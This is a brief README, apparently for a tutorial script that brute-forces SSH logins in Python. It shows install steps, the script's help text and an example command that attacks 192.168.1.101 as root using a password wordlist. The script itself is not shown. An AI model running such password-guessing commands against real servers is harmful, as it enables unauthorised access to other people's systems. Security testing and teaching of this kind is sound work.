How to Brute-Force SSH Servers in Python

To run this:

• pip3 install -r requirements.txt

• python bruteforce_ssh.py --help
  

  Outputs:

  usage: bruteforce_ssh.py [-h] [-P PASSLIST] [-u USER] host
  
  SSH Bruteforce Python script.
  
  positional arguments:
  host                  Hostname or IP Address of SSH Server to bruteforce.
  
  optional arguments:
  -h, --help            show this help message and exit
  -P PASSLIST, --passlist PASSLIST
                          File that contain password list in each line.
  -u USER, --user USER  Host username.
  

• If you want to bruteforce against the server 192.168.1.101 for example, the user root and a password list of wordlist.txt:

  python bruteforce_ssh.py 192.168.1.101 -u root -P wordlist.txt